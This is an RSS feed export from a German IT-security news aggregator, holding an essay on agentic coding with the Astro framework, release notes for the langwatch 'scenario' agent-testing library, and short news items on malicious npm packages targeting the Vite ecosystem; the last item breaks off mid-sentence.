<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="/rss-style.xsl"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:media="http://search.yahoo.com/mrss/" xmlns:dc="http://purl.org/dc/elements/1.1/">
<channel>
<title><![CDATA[Team IT Security - 📰 Alle Kategorien]]></title>
<link><![CDATA[https://tsecurity.de/export/rss/alle-kategorien.xml?q=vite+webpack+esbuild+turbopack%2F]]></link>
<description><![CDATA[Das Gesamte Cyber Threat Intelligence Feed-Archiv von TSecurity.de. Alle Nachrichten, Sicherheitsmeldungen, Videos, Downloads und Analysen in einer zentralen Übersicht.]]></description>
<language>de-DE</language>
<lastBuildDate>Wed, 29 Jul 2026 15:37:26 +0200</lastBuildDate>
<pubDate>Wed, 29 Jul 2026 15:37:26 +0200</pubDate>
<ttl>15</ttl>
<copyright>2026 Team IT Security</copyright>
<managingEditor>lakandor@tsecurity.de (Horus Sirius)</managingEditor>
<webMaster>lakandor@tsecurity.de (Horus Sirius)</webMaster>
<category>IT Security</category>
<category>Cybersecurity</category>
<category>Nachrichten</category>
<generator>Team IT Security RSS Generator v2.0</generator>
<image>
<url>https://tsecurity.de/favicon.ico</url>
<title><![CDATA[Team IT Security - 📰 Alle Kategorien]]></title>
<link><![CDATA[https://tsecurity.de/export/rss/alle-kategorien.xml?q=vite+webpack+esbuild+turbopack%2F]]></link>
</image>
<atom:link href="https://tsecurity.de/export/rss/it-security.xml?q=vite+webpack+esbuild+turbopack%2F" rel="self" type="application/rss+xml" />
<item>
<title><![CDATA[Agentic coding is everywhere]]></title>
<description><![CDATA[I use a very cool and relatively new web framework called Astro. The keen insight that the Astro team had was that most websites are made up of static content, so they made it really easy to add content to a website. To add a blog post to my personal website, all I have to do is create a Markdown...]]></description>
<link>https://tsecurity.de/de/3685748/ai-nachrichten/agentic-coding-is-everywhere/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685748/ai-nachrichten/agentic-coding-is-everywhere/</guid>
<pubDate>Wed, 22 Jul 2026 11:04:58 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">I use a very cool and relatively new web framework called <a href="https://www.infoworld.com/article/3842325/designing-a-dynamic-web-application-with-astro-js.html" data-type="link" data-id="https://www.infoworld.com/article/3842325/designing-a-dynamic-web-application-with-astro-js.html">Astro</a>. The keen insight that the Astro team had was that most websites are made up of static content, so they made it really easy to add content to a website. To add a blog post to <a href="https://nickhodges.com/">my personal website</a>, all I have to do is create a Markdown file with some front matter, deploy it, and the blog post automatically appears. If I need to reach deeper for more dynamic functionality, I can easily do that with <a href="https://www.infoworld.com/article/2257305/what-is-typescript-strongly-typed-javascript.html" data-type="link" data-id="https://www.infoworld.com/article/2257305/what-is-typescript-strongly-typed-javascript.html">TypeScript</a>, <a href="https://www.infoworld.com/article/2253289/react-tutorial-get-started-with-the-reactjs-javascript-library.html" data-type="link" data-id="https://www.infoworld.com/article/2253289/react-tutorial-get-started-with-the-reactjs-javascript-library.html">React</a>, or almost any other framework. It’s really cool.</p>



<p class="wp-block-paragraph">And these days, I really don’t write any code. <a href="https://www.infoworld.com/article/4136718/claude-code-is-blowing-me-away.html" data-type="link" data-id="https://www.infoworld.com/article/4136718/claude-code-is-blowing-me-away.html">Claude Code</a> does most (all?) of the work. Since Astro is <a href="https://github.com/withastro/astro">an open-source project</a> and has <a href="https://docs.astro.build/">excellent documentation</a>, Claude knows all about how Astro works. It has no trouble at all managing my site and making the improvements I ask for.  </p>



<p class="wp-block-paragraph">And that got me thinking, how does Astro get built? Is the Astro team building with agentic coding? Astro itself has many dependencies, including big projects like Vite and Node. And of course, Vite and Node have dependencies, too. Are those dependencies being developed by hand, or are those development teams also using AI agents to code?</p>



<p class="wp-block-paragraph">My curiosity got the best of me, and I asked Claude to dig deeper. It turns out that the Astro repository has <a href="https://github.com/withastro/astro/blob/main/AGENTS.md">an AGENTS.md</a> file, and some of the commits even have commit message trailers indicating that they were at least co-authored by Claude and <a href="https://www.infoworld.com/article/3609013/github-copilot-everything-you-need-to-know.html" data-type="link" data-id="https://www.infoworld.com/article/3609013/github-copilot-everything-you-need-to-know.html">GitHub Copilot</a>. Further down, there is a <code>.agents/skills</code> directory with skills covering development, merging, triage, and more. I poked around for a look, and someone has done a great job building agentic support.</p>



<p class="wp-block-paragraph">Now my interest is really piqued, and further investigation reveals quite a bit of interesting stuff. About a year ago, documentation started appearing about how to build Astro sites with coding agents.  Around that same time, the docs team released an <a href="https://www.infoworld.com/article/4029634/what-is-model-context-protocol-how-mcp-bridges-ai-and-external-services.html" data-type="link" data-id="https://www.infoworld.com/article/4029634/what-is-model-context-protocol-how-mcp-bridges-ai-and-external-services.html">MCP server</a> that gives developers coding agents deeper, easier access to the Astro documentation.  </p>



<p class="wp-block-paragraph">And there are small steps in the Astro codebase that indicate it is “agentic ready.” For instance, the command-line development server can tell when it is being started by an agent, and the application itself can tell if it is being driven by an agent. Small things, but steps in the direction of embracing Astro developers who use coding agents. </p>



<p class="wp-block-paragraph">Okay, that was a fun spelunking trip. But so what?</p>



<p class="wp-block-paragraph">The “so what” is that code is going to be commoditized. As an Astro developer I am using AI agents pretty much all of the time. The Astro development team is starting to use AI agents more and more. The folks building the Astro dependencies are using AI agents. Shoot, the people building Claude Code and the agents themselves are “eating their own dogfood” and <a href="https://www.anthropic.com/institute/recursive-self-improvement">using their own tools to build the next frontier model</a>. Before we know it, it will be <a href="https://en.wikipedia.org/wiki/Turtles_all_the_way_down">turtles all the way down</a>. </p>



<p class="wp-block-paragraph">No one says “who generated that electricity?” or “who wove the fabric in that shirt?” any more. And it won’t be long before no one says “Who wrote the code for that app?” because it won’t matter. Just as we don’t look at the assembly code written by our compilers, we’ll stop looking at the “regular” code written by our agents. I’m not even sure anyone is <a href="https://news.ycombinator.com/item?id=39587051" data-type="link" data-id="https://news.ycombinator.com/item?id=39587051">writing assembly code anymore</a>. Soon we’ll be saying that about TypeScript, Python, and C++.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[python: v0.7.32]]></title>
<description><![CDATA[0.7.32 (2026-07-20)
Features

#660: expose context param on scenario.judge() public API (#667) (900f3d8)
#666: per-role voice modality negotiation — declaration-first, two-phase validation, OTEL stamps (#670) (007a69f)
events: support LANGWATCH_PROJECT_ID via X-Project-Id header (#619) (7aec1c7)
...]]></description>
<link>https://tsecurity.de/de/3681369/it-security-tools/python-v0732/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681369/it-security-tools/python-v0732/</guid>
<pubDate>Mon, 20 Jul 2026 16:19:58 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2><a href="https://github.com/langwatch/scenario/compare/python/v0.7.31...python/v0.7.32">0.7.32</a> (2026-07-20)</h2>
<h3>Features</h3>
<ul>
<li><strong><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4639907852" data-permission-text="Title is private" data-url="https://github.com/langwatch/scenario/issues/660" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/660/hovercard" href="https://github.com/langwatch/scenario/issues/660">#660</a>:</strong> expose context param on scenario.judge() public API (<a href="https://github.com/langwatch/scenario/issues/667" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/667/hovercard">#667</a>) (<a href="https://github.com/langwatch/scenario/commit/900f3d866d5787a015780965e9de4f518b753ad7">900f3d8</a>)</li>
<li><strong><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4650318823" data-permission-text="Title is private" data-url="https://github.com/langwatch/scenario/issues/666" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/666/hovercard" href="https://github.com/langwatch/scenario/issues/666">#666</a>:</strong> per-role voice modality negotiation — declaration-first, two-phase validation, OTEL stamps (<a href="https://github.com/langwatch/scenario/issues/670" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/670/hovercard">#670</a>) (<a href="https://github.com/langwatch/scenario/commit/007a69faff6f33b9b5a6e9d4f811e9e2d8c81fdd">007a69f</a>)</li>
<li><strong>events:</strong> support LANGWATCH_PROJECT_ID via X-Project-Id header (<a href="https://github.com/langwatch/scenario/issues/619" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/619/hovercard">#619</a>) (<a href="https://github.com/langwatch/scenario/commit/7aec1c7c88a08ee4d732609fa480489e100f22e5">7aec1c7</a>)</li>
<li><strong>tracing:</strong> stamp scenario SDK name+version as trace attributes (<a href="https://github.com/langwatch/scenario/issues/744" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/744/hovercard">#744</a>) (<a href="https://github.com/langwatch/scenario/issues/745" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/745/hovercard">#745</a>) (<a href="https://github.com/langwatch/scenario/commit/43dd4fae3b439561b9ff196a9c0297968c1ae607">43dd4fa</a>)</li>
<li><strong>voice:</strong> continuous ElevenLabs mic pump + is_connected guard (<a href="https://github.com/langwatch/scenario/issues/740" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/740/hovercard">#740</a> slice A) (<a href="https://github.com/langwatch/scenario/issues/741" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/741/hovercard">#741</a>) (<a href="https://github.com/langwatch/scenario/commit/b6e7f93c43fee650c0fe37f27153a4805f3e7eb8">b6e7f93</a>)</li>
<li><strong>voice:</strong> harvest voice result fields on exit paths + concrete typing (<a href="https://github.com/langwatch/scenario/issues/740" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/740/hovercard">#740</a> slice E) (<a href="https://github.com/langwatch/scenario/issues/742" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/742/hovercard">#742</a>) (<a href="https://github.com/langwatch/scenario/commit/439b7be5bb02c9fa9ebf56ef71f76537e043ffde">439b7be</a>)</li>
<li><strong>voice:</strong> instrument base + ElevenLabs adapter with LangWatch spans (<a href="https://github.com/langwatch/scenario/issues/777" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/777/hovercard">#777</a>) (<a href="https://github.com/langwatch/scenario/commit/2b32872aa57b13f80e6b063425efac38a0c7604b">2b32872</a>)</li>
<li><strong>voice:</strong> instrument Gemini Live adapter with LangWatch spans (<a href="https://github.com/langwatch/scenario/issues/780" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/780/hovercard">#780</a>) (<a href="https://github.com/langwatch/scenario/commit/8ba8687cf38849074fe97a83a0ea4733cfdec09a">8ba8687</a>)</li>
<li><strong>voice:</strong> instrument OpenAI Realtime adapter with LangWatch spans (<a href="https://github.com/langwatch/scenario/issues/782" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/782/hovercard">#782</a>) (<a href="https://github.com/langwatch/scenario/commit/315296936f1d1465f97305431cdedba7730f9136">3152969</a>)</li>
<li><strong>voice:</strong> instrument Pipecat adapter + background-loop spans (<a href="https://github.com/langwatch/scenario/issues/774" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/774/hovercard">#774</a>) (<a href="https://github.com/langwatch/scenario/commit/67f71b1d30610e2da96396dea1e4c7f1a1355831">67f71b1</a>)</li>
<li><strong>voice:</strong> instrument Pipecat adapter + background-loop spans (<a href="https://github.com/langwatch/scenario/issues/781" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/781/hovercard">#781</a>) (<a href="https://github.com/langwatch/scenario/commit/67f71b1d30610e2da96396dea1e4c7f1a1355831">67f71b1</a>)</li>
<li><strong>voice:</strong> instrument Twilio adapter with LangWatch spans (<a href="https://github.com/langwatch/scenario/issues/788" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/788/hovercard">#788</a>) (<a href="https://github.com/langwatch/scenario/commit/8747eed1a8e36db0dfba3ebd08359822fa6d1e52">8747eed</a>)</li>
<li><strong>voice:</strong> realtime_langwatch_session context manager for live OpenAI Realtime apps (<a href="https://github.com/langwatch/scenario/issues/673" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/673/hovercard">#673</a>) (<a href="https://github.com/langwatch/scenario/issues/676" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/676/hovercard">#676</a>) (<a href="https://github.com/langwatch/scenario/commit/e89d00c344eeac18a8673eb974d905afa14014b4">e89d00c</a>)</li>
</ul>
<h3>Bug Fixes</h3>
<ul>
<li><strong><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3654909090" data-permission-text="Title is private" data-url="https://github.com/langwatch/scenario/issues/161" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/161/hovercard" href="https://github.com/langwatch/scenario/issues/161">#161</a>:</strong> re-parse criteria when LLM returns stringified JSON dict (<a href="https://github.com/langwatch/scenario/issues/552" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/552/hovercard">#552</a>) (<a href="https://github.com/langwatch/scenario/commit/b8198493aa638f0c31821050d7d4502b08e5f88e">b819849</a>)</li>
<li><strong><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4485409944" data-permission-text="Title is private" data-url="https://github.com/langwatch/scenario/issues/488" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/488/hovercard" href="https://github.com/langwatch/scenario/issues/488">#488</a>:</strong> log voice adapter and ffmpeg disconnect failures at WARNING (<a href="https://github.com/langwatch/scenario/issues/556" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/556/hovercard">#556</a>) (<a href="https://github.com/langwatch/scenario/commit/86bf4662c0a5f16ec23c25a11ea78368d39bff26">86bf466</a>)</li>
<li><strong><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4634746372" data-permission-text="Title is private" data-url="https://github.com/langwatch/scenario/issues/655" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/655/hovercard" href="https://github.com/langwatch/scenario/issues/655">#655</a>:</strong> replace brittle judge criteria with generic behavioral criteria in audio examples (<a href="https://github.com/langwatch/scenario/issues/679" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/679/hovercard">#679</a>) (<a href="https://github.com/langwatch/scenario/commit/732d426ae4865c8027fb03182cf8211461c11514">732d426</a>)</li>
<li><strong><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4647094960" data-permission-text="Title is private" data-url="https://github.com/langwatch/scenario/issues/664" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/664/hovercard" href="https://github.com/langwatch/scenario/issues/664">#664</a>:</strong> transcribe agent turns at runtime so the voice user simulator can read them (<a href="https://github.com/langwatch/scenario/issues/665" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/665/hovercard">#665</a>) (<a href="https://github.com/langwatch/scenario/commit/4b99682bee8ca6820537a100551ec83e97bcd89f">4b99682</a>)</li>
<li><strong><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4710280252" data-permission-text="Title is private" data-url="https://github.com/langwatch/scenario/issues/695" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/695/hovercard" href="https://github.com/langwatch/scenario/issues/695">#695</a>:</strong> twilio terminal sentinel on silent/tool-only stop (dead-recv-loop hang) (<a href="https://github.com/langwatch/scenario/issues/697" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/697/hovercard">#697</a>) (<a href="https://github.com/langwatch/scenario/commit/e675224226974eeb69a0ddffee48d47cca35b77c">e675224</a>)</li>
<li><strong>python:</strong> derive scenario.<strong>version</strong> from package metadata (<a href="https://github.com/langwatch/scenario/issues/800" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/800/hovercard">#800</a>) (<a href="https://github.com/langwatch/scenario/commit/0d505a7cfcc9467821ed61119f291944b626cc7f">0d505a7</a>)</li>
<li><strong>security:</strong> bump pyjwt to 2.13.0 (<a href="https://github.com/langwatch/scenario/issues/677" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/677/hovercard">#677</a>) (<a href="https://github.com/langwatch/scenario/commit/00807b770ad997a12ca1c10418e409e6f0cdf44b">00807b7</a>)</li>
<li><strong>security:</strong> bump python/uv.lock security floors (cryptography, python-multipart, starlette, python-liquid, pydantic-settings) (<a href="https://github.com/langwatch/scenario/issues/685" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/685/hovercard">#685</a>) (<a href="https://github.com/langwatch/scenario/commit/ee9a5d5f2d1c55b23e122dbdb138d82d38ab861c">ee9a5d5</a>)</li>
<li><strong>security:</strong> raise esbuild, js-yaml, and dompurify override floors across JS workspaces (<a href="https://github.com/langwatch/scenario/issues/671" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/671/hovercard">#671</a>) (<a href="https://github.com/langwatch/scenario/commit/c76bab247cd69395bcd55b85046dc4f17c783618">c76bab2</a>)</li>
<li><strong>security:</strong> raise vite 8.x floor to &gt;=8.0.16 across scenario workspaces (<a href="https://github.com/langwatch/scenario/issues/709" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/709/hovercard">#709</a>) (<a href="https://github.com/langwatch/scenario/commit/42d877ed4b187b3a7478f38f6efdce932cb696d9">42d877e</a>)</li>
<li><strong>voice/<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4485412046" data-permission-text="Title is private" data-url="https://github.com/langwatch/scenario/issues/491" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/491/hovercard" href="https://github.com/langwatch/scenario/issues/491">#491</a>:</strong> diagnose + resolve multi-turn <a href="https://github.com/e2e">@e2e</a> suite-wedge + tighten VAD tests (<a href="https://github.com/langwatch/scenario/issues/694" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/694/hovercard">#694</a>) (<a href="https://github.com/langwatch/scenario/commit/2dfc381df3c27f073706e5aed56d6852a9d8ebf0">2dfc381</a>)</li>
<li><strong>voice/<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4487734199" data-permission-text="Title is private" data-url="https://github.com/langwatch/scenario/issues/498" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/498/hovercard" href="https://github.com/langwatch/scenario/issues/498">#498</a>:</strong> surface recv-loop termination as attributable PipecatRecvError (<a href="https://github.com/langwatch/scenario/issues/692" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/692/hovercard">#692</a>) (<a href="https://github.com/langwatch/scenario/commit/c1f552cac4845654a57b27c5f705f61c3a3951cc">c1f552c</a>)</li>
<li><strong>voice/<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4632750761" data-permission-text="Title is private" data-url="https://github.com/langwatch/scenario/issues/648" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/648/hovercard" href="https://github.com/langwatch/scenario/issues/648">#648</a>:</strong> terminal drain on non-audio completion (EL + WebSocket) (<a href="https://github.com/langwatch/scenario/issues/693" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/693/hovercard">#693</a>) (<a href="https://github.com/langwatch/scenario/commit/c42320e130ae3d0ea67a743ffea8195cc5f76825">c42320e</a>)</li>
<li><strong>voice/<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4640224309" data-permission-text="Title is private" data-url="https://github.com/langwatch/scenario/issues/662" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/662/hovercard" href="https://github.com/langwatch/scenario/issues/662">#662</a>:</strong> guard <a href="https://github.com/langwatch/scenario/issues/662" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/662/hovercard">#662</a>'s response.create call sites against the active-response race (JS + PY) (<a href="https://github.com/langwatch/scenario/issues/669" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/669/hovercard">#669</a>) (<a href="https://github.com/langwatch/scenario/commit/0968374e2232af05cffd32b87c00e341511b2723">0968374</a>)</li>
<li><strong>voice/ts:</strong> explicit EL ConvAI turn-commit so scripted next-turn receive re-engages (<a href="https://github.com/langwatch/scenario/issues/596" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/596/hovercard">#596</a>) (<a href="https://github.com/langwatch/scenario/commit/795ae8eb7e672e180fea6a657d472e566431883b">795ae8e</a>)</li>
<li><strong>voice:</strong> guard response.create on active response in recv_audio (<a href="https://github.com/langwatch/scenario/issues/659" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/659/hovercard">#659</a>) (<a href="https://github.com/langwatch/scenario/commit/5e844ea73f39473f39fe70516c53762437263be1">5e844ea</a>)</li>
<li><strong>voice:</strong> hosted ElevenLabs single-exchange ceiling — docs + enriched timeout error (<a href="https://github.com/langwatch/scenario/issues/643" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/643/hovercard">#643</a>) (<a href="https://github.com/langwatch/scenario/commit/aae16beec4d5b74ee331c29ad960c43632434da0">aae16be</a>)</li>
<li><strong>voice:</strong> skip Twilio e2e fixtures on absent env, not fail (<a href="https://github.com/langwatch/scenario/issues/798" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/798/hovercard">#798</a>) (<a href="https://github.com/langwatch/scenario/commit/4c883d00a4c1155feedeb8c8638b4ece30931613">4c883d0</a>)</li>
<li><strong>voice:</strong> terminate wait=False test drain on end-of-turn, re-enable in CI (<a href="https://github.com/langwatch/scenario/issues/691" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/691/hovercard">#691</a>) (<a href="https://github.com/langwatch/scenario/commit/022056dc3621412256904bc8ddca930baafb2033">022056d</a>)</li>
</ul>
<h3>Documentation</h3>
<ul>
<li><strong>voice:</strong> drop references to a docs/proposals tree that never landed (<a href="https://github.com/langwatch/scenario/issues/613" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/613/hovercard">#613</a>) (<a href="https://github.com/langwatch/scenario/issues/823" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/823/hovercard">#823</a>) (<a href="https://github.com/langwatch/scenario/commit/0ef4314fef19d76013a3dbc56f7667b73a7a9dc9">0ef4314</a>)</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[javascript: v0.5.4]]></title>
<description><![CDATA[0.5.4 (2026-07-20)
Features

voice: instrument base + ElevenLabs adapter with LangWatch spans (#777) (2b32872)
voice: instrument Gemini Live adapter with LangWatch spans (#780) (8ba8687)
voice: instrument OpenAI Realtime adapter with LangWatch spans (#782) (3152969)
voice: instrument Pipecat adap...]]></description>
<link>https://tsecurity.de/de/3681368/it-security-tools/javascript-v054/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681368/it-security-tools/javascript-v054/</guid>
<pubDate>Mon, 20 Jul 2026 16:19:57 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2><a href="https://github.com/langwatch/scenario/compare/javascript/v0.5.3...javascript/v0.5.4">0.5.4</a> (2026-07-20)</h2>
<h3>Features</h3>
<ul>
<li><strong>voice:</strong> instrument base + ElevenLabs adapter with LangWatch spans (<a href="https://github.com/langwatch/scenario/issues/777" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/777/hovercard">#777</a>) (<a href="https://github.com/langwatch/scenario/commit/2b32872aa57b13f80e6b063425efac38a0c7604b">2b32872</a>)</li>
<li><strong>voice:</strong> instrument Gemini Live adapter with LangWatch spans (<a href="https://github.com/langwatch/scenario/issues/780" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/780/hovercard">#780</a>) (<a href="https://github.com/langwatch/scenario/commit/8ba8687cf38849074fe97a83a0ea4733cfdec09a">8ba8687</a>)</li>
<li><strong>voice:</strong> instrument OpenAI Realtime adapter with LangWatch spans (<a href="https://github.com/langwatch/scenario/issues/782" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/782/hovercard">#782</a>) (<a href="https://github.com/langwatch/scenario/commit/315296936f1d1465f97305431cdedba7730f9136">3152969</a>)</li>
<li><strong>voice:</strong> instrument Pipecat adapter + background-loop spans (<a href="https://github.com/langwatch/scenario/issues/774" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/774/hovercard">#774</a>) (<a href="https://github.com/langwatch/scenario/commit/67f71b1d30610e2da96396dea1e4c7f1a1355831">67f71b1</a>)</li>
<li><strong>voice:</strong> instrument Pipecat adapter + background-loop spans (<a href="https://github.com/langwatch/scenario/issues/781" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/781/hovercard">#781</a>) (<a href="https://github.com/langwatch/scenario/commit/67f71b1d30610e2da96396dea1e4c7f1a1355831">67f71b1</a>)</li>
<li><strong>voice:</strong> instrument Twilio adapter with LangWatch spans (<a href="https://github.com/langwatch/scenario/issues/788" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/788/hovercard">#788</a>) (<a href="https://github.com/langwatch/scenario/commit/8747eed1a8e36db0dfba3ebd08359822fa6d1e52">8747eed</a>)</li>
</ul>
<h3>Bug Fixes</h3>
<ul>
<li><strong>security:</strong> bump <a href="https://github.com/opentelemetry">@opentelemetry</a> sdk-node/exporter-prometheus to 0.217.0 (<a href="https://github.com/langwatch/scenario/commit/87d5509f8421f7b2370e9b64ab71daf4612e0a1a">87d5509</a>)</li>
<li><strong>security:</strong> bump <a href="https://github.com/opentelemetry">@opentelemetry</a> sdk-node/exporter-prometheus to 0.217.0 (with ReadableSpan migration) (<a href="https://github.com/langwatch/scenario/issues/702" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/702/hovercard">#702</a>) (<a href="https://github.com/langwatch/scenario/commit/87d5509f8421f7b2370e9b64ab71daf4612e0a1a">87d5509</a>)</li>
<li><strong>security:</strong> raise esbuild, js-yaml, and dompurify override floors across JS workspaces (<a href="https://github.com/langwatch/scenario/issues/671" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/671/hovercard">#671</a>) (<a href="https://github.com/langwatch/scenario/commit/c76bab247cd69395bcd55b85046dc4f17c783618">c76bab2</a>)</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Sequel to ChainVeil npm Malware Targets Vite Ecosystem]]></title>
<description><![CDATA[2026-07-14 • Checkmarx
     • Pavan Gudimalla
     • js.jadesnow
    
    
    Open article on Malpedia]]></description>
<link>https://tsecurity.de/de/3680487/malware-trojaner-viren/sequel-to-chainveil-npm-malware-targets-vite-ecosystem/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680487/malware-trojaner-viren/sequel-to-chainveil-npm-malware-targets-vite-ecosystem/</guid>
<pubDate>Mon, 20 Jul 2026 09:17:55 +0200</pubDate>
<category>⚠️ Malware / Trojaner / Viren</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!--  -->
<div>
    2026-07-14 • Checkmarx
     • Pavan Gudimalla
     • js.jadesnow
    
    <br>
    <a href="https://malpedia.caad.fkie.fraunhofer.de/library/eda34ce1-9195-47f8-a5e9-c3d194121070/">Open article on Malpedia</a>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Maliziöse Vite-npm-Packages nutzen Blockchain-C2 für RAT-Zugriff]]></title>
<description><![CDATA[LONDON (IT BOLTWISE) – Sicherheitsforscher haben sieben bösartige npm-Packages identifiziert, die gezielt das Vite-Ökosystem über eine Supply-Chain-Attacke kompromittieren. Die Kampagne „ViteVenom“ setzt auf eine mehrstufige Blockchain-basierte Command-and-Control (C2), um einen Remote-Access-Tro...]]></description>
<link>https://tsecurity.de/de/3676994/it-security-nachrichten/malizioese-vite-npm-packages-nutzen-blockchain-c2-fuer-rat-zugriff/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676994/it-security-nachrichten/malizioese-vite-npm-packages-nutzen-blockchain-c2-fuer-rat-zugriff/</guid>
<pubDate>Fri, 17 Jul 2026 22:22:49 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1024" height="1024" src="https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-vitev-enom-blockchain-c2-rat.jpg" class="attachment- size- wp-post-image" alt="" decoding="async" fetchpriority="high" srcset="https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-vitev-enom-blockchain-c2-rat.jpg 1024w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-vitev-enom-blockchain-c2-rat-300x300.jpg 300w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-vitev-enom-blockchain-c2-rat-150x150.jpg 150w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-vitev-enom-blockchain-c2-rat-768x768.jpg 768w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-vitev-enom-blockchain-c2-rat-840x840.jpg 840w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-vitev-enom-blockchain-c2-rat-120x120.jpg 120w" sizes="(max-width: 1024px) 100vw, 1024px">LONDON (IT BOLTWISE) – Sicherheitsforscher haben sieben bösartige npm-Packages identifiziert, die gezielt das Vite-Ökosystem über eine Supply-Chain-Attacke kompromittieren. Die Kampagne „ViteVenom“ setzt auf eine mehrstufige Blockchain-basierte Command-and-Control (C2), um einen 